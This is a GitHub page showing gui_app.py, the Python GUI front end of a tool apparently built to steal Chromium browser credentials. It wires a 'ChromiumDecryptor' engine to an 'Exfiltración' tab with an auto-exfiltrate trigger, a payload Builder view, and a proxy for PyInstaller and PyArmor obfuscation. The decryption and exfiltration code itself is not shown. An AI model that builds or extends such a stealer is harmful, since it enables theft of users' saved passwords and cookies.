-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgui_app.py
More file actions
250 lines (204 loc) · 9.74 KB
/
Copy pathgui_app.py
File metadata and controls
250 lines (204 loc) · 9.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
# 🛡️ ChromiumSpecter — Tactical Auditor Suite
# Copyright (C) 2026 ANONIMO432HZ
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://fsf.org/licenses/>.
import os
import sys
import threading
import subprocess
import multiprocessing
import tkinter as tk
from pathlib import Path
from typing import Any
import customtkinter as ctk
# --- Hidden Imports for PyInstaller (ensure they are bundled) ---
try:
import win32crypt
import Cryptodome
import requests
except ImportError:
pass
# ── Apply theme before any widget creation ────────────────────────────────────
from gui.theme import COLORS, FONTS, PAD, make_label
from gui.views.audit import AuditView
from gui.views.results import ResultsView
from gui.views.reports import ReportsView
from gui.views.post_audit import PostAuditView
from gui.views.maintenance import MaintenanceView
from gui.views.builder import BuilderView
from gui.views.exit import ExitView
class App(ctk.CTk):
"""Root application window with sidebar navigation."""
NAV_ITEMS = [
("🔍", "Auditoría", "audit"),
("📊", "Resultados", "results"),
("📁", "Reportes", "reports"),
("📤", "Exfiltración", "post_audit"),
("🔧", "Mantenimiento", "maintenance"),
("🔨", "Builder", "builder"),
("🚪", "Salir", "exit"),
]
def __init__(self):
super().__init__()
# Window Config
self.title("ChromiumSpecter — Tactical Auditor Suite v2.6.0")
self.after(0, lambda: self.state('zoomed')) # Full screen on start
self.minsize(1100, 750)
# Grid layout (1x2)
self.grid_columnconfigure(1, weight=1)
self.grid_rowconfigure(0, weight=1)
self._current_view_key: str | None = None
self._audit_dir = Path(".audit")
# Initialize environment (Passive mode - no log file locking on start)
from main import _setup_environment
_setup_environment(str(self._audit_dir), start_logging=False)
self._build_sidebar()
self._build_main_container()
# Initial view
self.select_view("audit")
# ── UI Construction ───────────────────────────────────────────────────────
def _build_sidebar(self):
self._sidebar = ctk.CTkFrame(self, width=220, corner_radius=0, fg_color=COLORS["bg_sidebar"])
self._sidebar.grid(row=0, column=0, sticky="nsew")
self._sidebar.grid_rowconfigure(len(self.NAV_ITEMS) + 2, weight=1)
# Header / Logo
logo_frame = ctk.CTkFrame(self._sidebar, fg_color="transparent")
logo_frame.pack(fill="x", padx=20, pady=30)
make_label(logo_frame, "ChromiumSpecter", style="heading", color=COLORS["accent"]).pack(anchor="w")
make_label(logo_frame, "TACTICAL AUDITOR SUITE", style="small", color=COLORS["text_secondary"]).pack(anchor="w")
# Nav Buttons
self._nav_buttons: dict[str, ctk.CTkButton] = {}
for icon, label, key in self.NAV_ITEMS:
btn = ctk.CTkButton(
self._sidebar,
text=f" {icon} {label}",
anchor="w",
height=45,
corner_radius=8,
fg_color="transparent",
text_color=COLORS["text_secondary"],
font=FONTS["body"],
hover_color=COLORS["bg_card_hover"],
command=lambda k=key: self.select_view(k)
)
btn.pack(fill="x", padx=15, pady=4)
self._nav_buttons[key] = btn
# Footer info
footer_frame = ctk.CTkFrame(self._sidebar, fg_color="transparent")
footer_frame.pack(side="bottom", fill="x", pady=20)
import ctypes
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin()
except:
is_admin = False
admin_text = "🛡️ ADMIN" if is_admin else "⚠ USER MODE"
admin_color = COLORS["danger"] if is_admin else COLORS["warning"]
make_label(footer_frame, admin_text, style="tiny", color=admin_color).pack()
make_label(footer_frame, "v2.6.0-PRO (V20 Stable)", style="tiny", color=COLORS["text_muted"]).pack()
def _build_main_container(self):
self._views_container = ctk.CTkFrame(self, fg_color=COLORS["bg_root"], corner_radius=0)
self._views_container.grid(row=0, column=1, sticky="nsew")
# Initialize views
self._views: dict[str, ctk.CTkFrame] = {
"audit": AuditView(self._views_container, None),
"results": ResultsView(self._views_container),
"reports": ReportsView(self._views_container),
"post_audit": PostAuditView(self._views_container),
"maintenance": MaintenanceView(self._views_container),
"builder": BuilderView(self._views_container),
"exit": ExitView(self._views_container),
}
# Inject real engine into AuditView
from main import ChromiumDecryptor
self._engine = ChromiumDecryptor()
self._views["audit"]._engine = self._engine
# Connect signals
self._views["audit"].set_results_callback(self._on_audit_complete)
# Sync audit directory across views
for view in self._views.values():
if hasattr(view, "set_audit_dir"):
view.set_audit_dir(self._audit_dir)
# Start all views hidden
for view in self._views.values():
view.pack_forget()
# ── View Management ───────────────────────────────────────────────────────
def select_view(self, key: str):
if key == self._current_view_key:
return
# Update sidebar
if self._current_view_key:
self._nav_buttons[self._current_view_key].configure(
fg_color="transparent",
text_color=COLORS["text_secondary"]
)
self._views[self._current_view_key].pack_forget()
btn = self._nav_buttons[key]
btn.configure(fg_color=COLORS["accent_dim"], text_color=COLORS["accent"])
self._views[key].pack(fill="both", expand=True)
self._current_view_key = key
# ── Logic Handlers ────────────────────────────────────────────────────────
def _on_audit_complete(self, results, html_path, csv_path, json_path=None, auto_exfiltrate=False):
"""Bridge results from Audit tab to Results tab."""
self._views["results"].load_results(results)
# Notify reports tab to refresh
self._views["reports"].set_audit_dir(self._audit_dir)
# Inject paths into Post-Audit tab
self._views["post_audit"].set_report_paths(html_path, csv_path, json_path)
if auto_exfiltrate:
self._views["post_audit"].trigger_auto_exfiltrate()
if __name__ == "__main__":
# Mandatory for PyInstaller + Multiprocessing
multiprocessing.freeze_support()
# Proxy Logic: If called with args, act as a Python interpreter replacement
if len(sys.argv) > 1:
arg1 = sys.argv[1].lower()
# Case A: Running build.py proxy
if arg1.endswith("build.py"):
import build
sys.argv.pop(1)
build.main()
sys.exit(0)
# Case B: Running a module (-m PyInstaller, -m pyarmor)
elif arg1 == "-m" and len(sys.argv) > 2:
module_name = sys.argv[2]
# Remove '-m', 'module' and keep rest of args
del sys.argv[1:3]
try:
if module_name.lower() == "pyinstaller":
import PyInstaller.__main__
PyInstaller.__main__.run()
elif module_name.lower().startswith("pyarmor"):
# Robust dynamic import for PyArmor 8+ and Legacy
import importlib
try:
module = importlib.import_module("pyarmor.cli.__main__")
pyarmor_main = module.main
except ImportError:
try:
module = importlib.import_module("pyarmor.__main__")
pyarmor_main = module.main
except ImportError:
print("[-] Error: PyArmor entry point not found.")
sys.exit(1)
pyarmor_main()
else:
print(f"[-] Error: Module proxy for '{module_name}' not implemented.")
sys.exit(1)
except Exception as e:
print(f"[-] Proxy Execution Error ({module_name}): {e}")
sys.exit(1)
sys.exit(0)
# Standard Case: Open GUI
app = App()
app.mainloop()